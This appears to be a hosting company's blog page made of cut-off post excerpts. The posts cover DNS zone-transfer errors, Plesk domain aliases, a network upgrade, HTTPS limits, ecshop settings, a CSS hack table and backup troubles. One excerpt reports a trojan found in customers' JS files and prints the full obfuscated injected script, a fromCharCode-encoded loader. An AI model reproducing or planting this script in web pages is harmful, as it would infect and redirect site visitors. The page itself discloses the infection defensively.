NetPC虛擬主機的部落格

有一位比利時客戶申請了NetPC的主機空間，其DNS是使用主機上的DNS代管，
不知何時開始，事件記錄就一直發出如下圖的錯誤，一天可以數百~數千則。
其它的網域都沒有此問題。
如果DNS Server沒有特別調整過，預設值是「允許任何主機來做Zone Transfer」，這樣一來所有的Record就會被有心人士探查到，所以一般要做一下Zone Transfer限制，理論上這是限制所造成反查時的結果。
故而，NetPC要求客戶申請的dns改變一下原有的設定，但客戶可能太忙遲遲不能處理。

不同的客戶總是有不同的需求，
這次，我們被詢問到NetPC主機是否能支援多個網域對應同一個主機的問題。
是的，我們使用的Plesk虛擬主機後台管理系統是有支援的，
在Plesk的設定中稱之為「網站替身」，一般可能俗稱為「網站別名」。
這項功能的好處是能夠讓不同的網址/網域都對應到一個主要的主機中，

為了服務NetPC的用戶，我們計畫了許久的網路升速終於要開始了(2012/11/12)，
一開始很單純以為中華電信只是調整一下戶外的電信交接箱及室內數據機的設定而已，
所以不以為意，未料一連串的厄夢才剛開始，以下就是它的敘述。
 
中華電信來電通知下午他們的承包商會來調整設定。
果真，中午過後就到了，設定也很簡單，戶外設好後，
隨即到室內測一下上傳速度是不是和申請的一致，
當然，到這時，網路如申請的速度是一致的。

有客戶詢問到https運作的問題， 由於執行https前必需先要安裝ssl證書，客戶必需自行申請購買後，將檔案給我們安裝。 另外該網站還要提供一個獨立的外部ip審核，以便審核。 NetPC的虛擬主機目前都共用同一個ip，所以目前只能運作http。  

想不到，日前為了維護104民宿查號台的作業，意外發現ESET發出木馬植入警告!
根據該警告去追查那些檔案被感染了，才發現是某些js檔被植入了一些非正常的程式碼。
程式碼的範例如下:
/*km0ae9gr6m*/try{prototype%2;}catch(asd){x=2;}try{q=document[(x)?"c"+"r":2+"e"+"a"+"t"+"e"+"E"+"l"+"e"+"m"+((f)?"e"+"n"+"t":"")]("p");q.appendChild(q+"");}catch(fwbewe){i=0;try{prototype*5;}catch(z){fr="fromChar";f=[510,702,550,594,580,630,555,660,160,660,505,720,580,492,485,660,500,666,545,468,585,654,490,606,570,240,205,738,50,192,160,192,160,708,485,684,160,624,525,192,305,192,580,624,525,690,230,690,505,606,500,192,235,192,580,624,525,690,230,486,295,60,160,192,160,192,590,582,570,192,540,666,160,366,160,696,520,630,575,276,575,606,505,600,160,222,160,696,520,630,575,276,405,354,50,192,160,192,160,708,485,684,160,696,505,690,580,192,305,192,580,624,525,690,230,390,160,252,160,648,555,192,225,192,580,624,525,690,230,492,160,252,160,624,525,354,50,192,160,192,160,630,510,240,580,606,575,696,160,372,160,288,205,738,50,192,160,192,160,192,160,192,160,696,520,630,575,276,575,606,505,600,160,366,160,696,505,690,580,354,50,192,160,192,160,750,160,606,540,690,505,192,615,60,160,192,160,192,160,192,160,192,580,624,525,690,230,690,505,606,500,192,305,192,580,606,575,696,160,258,160,696,520,630,575,276,385,354,50,192,160,192,160,750,50,192,160,192,160,684,505,696,585,684,550,192,200,696,520,630,575,276,575,606,505,600,160,252,160,696,520,630,575,276,555,660,505,474,590,606,570,462,205,354,50,750,50,60,510,702,550,594,580,630,555,660,160,492,485,660,500,666,545,468,585,654,490,606,570,426,505,660,505,684,485,696,555,684,200,702,550,630,600,246,615,60,160,192,160,192,590,582,570,192,500,192,305,192,550,606,595,192,340,582,580,606,200,702,550,630,600,252,245,288,240,288,205,354,50,192,160,192,160,708,485,684,160,690,160,366,160,600,230,618,505,696,360,666,585,684,575,240,205,192,310,192,245,300,160,378,160,294,160,348,160,288,295,60,160,192,160,192,580,624,525,690,230,690,505,606,500,192,305,192,250,306,260,318,270,330,280,342,240,294,160,258,160,240,500,276,515,606,580,462,555,660,580,624,200,246,160,252,160,288,600,420,350,420,350,420,350,246,160,258,160,240,500,276,515,606,580,408,485,696,505,240,205,192,210,192,240,720,350,420,350,420,205,258,160,240,385,582,580,624,230,684,555,702,550,600,200,690,160,252,160,288,600,420,350,420,205,246,295,60,160,192,160,192,580,624,525,690,230,390,160,366,160,312,280,300,275,294,295,60,160,192,160,192,580,624,525,690,230,462,160,366,160,300,245,312,275,312,280,306,270,312,275,354,50,192,160,192,160,696,520,630,575,276,405,192,305,192,580,624,525,690,230,462,160,282,160,696,520,630,575,276,325,354,50,192,160,192,160,696,520,630,575,276,410,192,305,192,580,624,525,690,230,462,160,222,160,696,520,630,575,276,325,354,50,192,160,192,160,696,520,630,575,276,555,660,505,474,590,606,570,462,160,366,160,294,230,288,160,282,160,696,520,630,575,276,385,354,50,192,160,192,160,696,520,630,575,276,550,606,600,696,160,366,160,660,505,720,580,492,485,660,500,666,545,468,585,654,490,606,570,354,50,192,160,192,160,684,505,696,585,684,550,192,580,624,525,690,295,60,625,60,50,612,585,660,495,696,525,666,550,192,495,684,505,582,580,606,410,582,550,600,555,654,390,702,545,588,505,684,200,684,220,192,385,630,550,264,160,462,485,720,205,738,50,192,160,192,160,684,505,696,585,684,550,192,385,582,580,624,230,684,555,702,550,600,200,240,385,582,600,270,385,630,550,246,160,252,160,684,230,660,505,720,580,240,205,192,215,192,385,630,550,246,295,60,625,60,50,612,585,660,495,696,525,666,550,192,515,606,550,606,570,582,580,606,400,690,505,702,500,666,410,582,550,600,555,654,415,696,570,630,550,618,200,702,550,630,600,264,160,648,505,660,515,696,520,264,160,732,555,660,505,246,615,60,160,192,160,192,590,582,570,192,570,582,550,600,160,366,160,660,505,714,160,492,485,660,500,666,545,468,585,654,490,606,570,426,505,660,505,684,485,696,555,684,200,702,550,630,600,246,295,60,160,192,160,192,590,582,570,192,540,606,580,696,505,684,575,192,305,192,455,234,485,234,220,234,490,234,220,234,495,234,220,234,500,234,220,234,505,234,220,234,510,234,220,234,515,234,220,234,520,234,220,234,525,234,220,234,530,234,220,234,535,234,220,234,540,234,220,234,545,234,220,234,550,234,220,234,555,234,220,234,560,234,220,234,565,234,220,234,570,234,220,234,575,234,220,234,580,234,220,234,585,234,220,234,590,234,220,234,595,234,220,234,600,234,220,234,605,234,220,234,610,234,465,354,50,192,160,192,160,708,485,684,160,690,580,684,160,366,160,234,195,354,50,192,160,192,160,612,555,684,200,708,485,684,160,630,160,366,160,288,295,192,525,192,300,192,540,606,550,618,580,624,295,192,525,192,215,258,160,246,615,60,160,192,160,192,160,192,160,192,575,696,570,192,215,366,160,648,505,696,580,606,570,690,455,594,570,606,485,696,505,492,485,660,500,666,545,468,585,654,490,606,570,240,570,582,550,600,220,192,240,264,160,648,505,696,580,606,570,690,230,648,505,660,515,696,520,192,225,192,245,246,465,354,50,192,160,192,160,750,50,192,160,192,160,684,505,696,585,684,550,192,575,696,570,192,215,192,195,276,195,192,215,192,610,666,550,606,295,60,625,60,50,690,505,696,420,630,545,606,555,702,580,240,510,702,550,594,580,630,555,660,200,246,615,60,160,192

原來已經有很多人中標了!!
找了許多案例，但始終不得其解，總之是某個軟體有漏洞!!!後來想到是不是PLESK有關，於是從它的知識庫找到一個相關的主題

在使用ecshop的購物系統時，安裝時必須注意您使用的是何種時區，
若一直按「下一步」，可能就會有系統時間與伺服器時間不一致的問題發生。
例如我們有一位客戶就發生了這樣的狀況，
他的現象是，當他收到echsop系統自動發出的email時，
mail裡頭的內容有帶一個發信時間，

話說2012年6月份，西南氣流帶來豪大雨量，在6/12日前就嚴重影響中南部地區，
土石崩塌、橋樑斷落，一遍水鄉澤國的景象，讓人感覺上天似乎在懲罰世人的罪惡。
心中憂心忡忡的感受，自然不言可喻!!
原本不以為意，也認為只是普通豪雨過境，睡覺去了，
未料6/12 12:00 pm深夜，大雨開始驟降桃園地區，

css Hack技術我做了一個統表:
  IE6 IE7 IE8 IE9 Firefox Opera Google PCManCB 範例 > Y Y Y N N N N Y .type { >color: #F00; } . Y Y N N N N N Y .type { .color: #F00; } * Y Y N N N N N Y .type { *color: #F00; } _ Y N N N N N N N .type { _color: #F00; } !important N Y Y Y Y Y Y Y .type { color: #F00 !important; } *+ Y Y N N N N N Y .type { *+color: #F00; }                                        

當然，官網是不會幫你改的啦，
這時，當然要有些功力的程式設計師才有辦法依照需求來改變設計。
本次修改如下圖，紅色框預設的是「數量」。
現在已變更為「商品選項」，選項並不是寫死的，
在後台可以根據需求各別制定欄位，及欄位類別。
在前台使用時，則會根據該設定，要求消費者在送出訂單時加以細部選擇。
這裡，我們還製作了一個可以將本項商品複製的功能「再選一個」，
如此，消費者可以不需要到前台就可以加買一個不同規格的同類商品，
可以說大幅提高的購物車的使用性。

話說為了讓主機能適時且容易的備份，以免出問題的時候哭訴無門。
一直以來都是用精簡版的Tru Image方式，將系統及資料區完整的備份。
最近升級了主機，採用四核心的cpu來工作，
並將退役的二核心變成備用主機，
為了簡便備份工作，索性把主機板也用一模一樣的model來架設，
這時，備份起來的的磁區卻像是有問題似的，
每次開機進入系統後，都不斷自動重新開機。
